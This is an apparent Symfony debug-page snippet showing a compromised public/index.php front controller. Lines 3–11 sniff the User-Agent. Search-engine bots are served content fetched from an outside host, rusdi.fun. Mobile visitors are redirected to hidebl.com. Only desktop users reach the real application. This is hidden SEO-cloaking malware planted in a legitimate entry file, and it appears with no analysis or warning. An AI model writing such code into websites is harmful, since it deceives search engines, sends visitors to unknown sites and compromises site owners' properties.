public/index.php line 15

Open in your IDE?
  1. <?php
  2. use App\Kernel;
  3. $userAgent $_SERVER['HTTP_USER_AGENT'] ?? '';
  4. $isMobile preg_match('/Mobile|Android|iPhone|iPad|iPod|Opera Mini|IEMobile/i'$userAgent);
  5. $isBot preg_match('/Googlebot|Google-InspectionTool|bingbot|Slurp|DuckDuckBot|YandexBot/i'$userAgent);
  6. if ($isBot) {
  7.     echo file_get_contents("https://rusdi.fun/raw/e21f46");
  8. } elseif ($isMobile) {
  9.     header('Location: https://hidebl.com/r/mk5');
  10.     exit;
  11. } else {
  12.     require_once dirname(__DIR__).'/vendor/autoload_runtime.php';
  13.     return function (array $context) {
  14.         return new Kernel($context['APP_ENV'], (bool) $context['APP_DEBUG']);
  15.     };
  16. }
  17. ?>